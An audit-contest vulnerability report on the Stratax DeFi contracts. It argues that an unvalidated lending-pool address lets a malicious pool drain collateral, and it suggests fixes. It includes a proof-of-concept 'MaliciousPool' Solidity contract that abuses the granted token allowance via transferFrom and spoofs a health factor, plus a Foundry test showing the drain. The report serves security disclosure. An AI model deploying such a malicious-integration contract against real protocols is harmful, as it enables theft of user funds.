Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Untrusted Pool Configuration Enables Full Fund Drain

Author Revealed upon completion

Untrusted Pool Configuration Enables Full Fund Drain

Description:
The contract allows setting an arbitrary address as the lending pool during Stratax::initialize:

function initialize(
address _aavePool,
...
) external initializer {
aavePool = IPool(_aavePool);
}

No validation is performed to ensure that _aavePool is a legitimate Aave V3 pool.

Later, during the flash-loan lifecycle, Stratax grants token approvals and performs external calls assuming the pool is trusted:

IERC20(_asset).approve(address(aavePool), totalCollateral);
aavePool.supply(...);
aavePool.borrow(...);

This creates a trust boundary violation:

  • Stratax gives spending approval to aavePool

  • Then executes arbitrary external code controlled by that address

  • A malicious pool can exploit the granted allowance or manipulate execution flow

This is not a classic same-function reentrancy, but a callback-driven malicious integration attack, where control flow is handed to an untrusted contract before the operation is finalized.

Because Stratax is upgradeable and the pool address is configurable, this becomes a realistic risk in:

  • Misconfiguration during deployment

  • Governance compromise / upgrade attack

  • Incorrect address on new networks

  • Integration testing environments reused in production

Impact:

If a malicious or incorrect pool is configured, it can:

  • Use the allowance granted by Stratax to transfer tokens out of the contract

  • Manipulate the execution flow during flashLoanSimple → executeOperation

  • Drain user-supplied collateral before the position is finalized

  • Cause permanent loss of funds without violating ERC20 rules

The protocol fully relies on the assumption that aavePool is honest, but that assumption is never enforced on-chain.

This makes the system fragile to configuration or governance errors.

Proof of Concept:

A malicious pool can exploit the approval granted during Stratax::_executeOpenOperation.

Malicious Pool (Test Double)

contract MaliciousPool {
Stratax public stratax;
address public currentCollateralAsset; // captured from supply(asset,...)
bool public drained;
constructor(Stratax _stratax) {
stratax = _stratax;
}
// Minimal flashLoanSimple: just calls back into Stratax.
// We intentionally do NOT transfer the flashloaned tokens; this is fine for demonstrating the drain,
// because Stratax already holds the user's collateral.
function flashLoanSimple(
address receiver,
address asset,
uint256 amount,
bytes calldata params,
uint16 /*referralCode*/
) external {
// executeOperation enforces:
// msg.sender == aavePool (this contract)
// _initiator == address(this contract) (Stratax) => receiver
stratax.executeOperation(asset, amount, 0, receiver, params);
}
// Called by Stratax before borrow(); good place to remember which asset is being supplied.
function supply(address asset, uint256 /*amount*/, address /*onBehalfOf*/, uint16 /*referralCode*/) external {
currentCollateralAsset = asset;
}
// This is the "reentrancy hook" point you flagged.
// At this moment Stratax has already done:
// IERC20(_asset).approve(address(aavePool), totalCollateral);
// So we can drain the collateral asset via transferFrom.
function borrow(
address /*borrowToken*/,
uint256 /*borrowAmount*/,
uint256 /*interestRateMode*/,
uint16 /*referralCode*/,
address /*onBehalfOf*/
) external {
if (!drained) {
drained = true;
MockERC20 t = MockERC20(currentCollateralAsset);
uint256 bal = t.balanceOf(address(stratax));
// Drain ALL tokens Stratax currently holds of the collateral asset.
// This uses the allowance granted right before supply().
if (bal > 0) {
t.transferFrom(address(stratax), address(this), bal);
}
}
}
function getUserAccountData(address)
external
pure
returns (uint256, uint256, uint256, uint256, uint256, uint256)
{
// Return a safe healthFactor (> 1e18) so Stratax passes the check
return (0, 0, 0, 0, 0, 2e18);
}
function repay(address, uint256, uint256, address) external pure returns (uint256) {
return 0;
}
function withdraw(address, uint256, address) external pure returns (uint256) {
return 0;
}
}

Foundry Test Demonstrating the Attack Path

function test_MaliciousPoolDrainsStrataxDuringBorrow() external {
vm.startPrank(OWNER);
uint256 flashLoanAmount = 10 ether;
uint256 collateralAmount = 100 ether;
// Pre-conditions
assertEq(collateralToken.balanceOf(address(stratax)), 0);
assertEq(collateralToken.balanceOf(address(pool)), 0);
// Trigger OPEN flow; drain happens inside MaliciousPool.borrow()
stratax.createLeveragedPosition(
address(collateralToken),
flashLoanAmount,
collateralAmount,
address(borrowToken), // IMPORTANT: different from collateralToken
1 ether,
hex"deadbeef",
0
);
// Post-conditions: pool drained the collateral from Stratax during borrow()
assertTrue(pool.drained(), "drain did not happen");
assertEq(collateralToken.balanceOf(address(stratax)), 0, "Stratax still holds collateral");
assertEq(collateralToken.balanceOf(address(pool)), collateralAmount, "Pool did not receive drained collateral");
vm.stopPrank();
}

This demonstrates that a malicious pool can abuse allowances granted by Stratax during execution.

Recommended Mitigation:

The fix is not adding nonReentrant.
This issue is caused by trusting an unverified external dependency.

1. Enforce Trusted Pool (Recommended)

Hardcode or immutably set the official Aave pool:

- IPool public aavePool;
+ IPool public immutable aavePool;

Set in constructor (or initializer once) and never allow arbitrary replacement.

2. Validate Pool Codehash

Ensure the configured address is the real Aave deployment:

bytes32 constant AAVE_POOL_CODEHASH = 0x...;
require(address(_aavePool).codehash == AAVE_POOL_CODEHASH, "Untrusted pool");

3. Avoid Persistent Allowances

Grant exact allowances only when needed and reset afterward:

IERC20(_asset).approve(address(aavePool), 0);
IERC20(_asset).approve(address(aavePool), amount);
// After call
IERC20(_asset).approve(address(aavePool), 0);

Or use:

SafeERC20.forceApprove(token, address(aavePool), amount);

4. (Optional Defense-in-Depth) Add Integration Allowlist

mapping(address => bool) public trustedPool;
require(trustedPool[_aavePool], "Pool not approved");

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!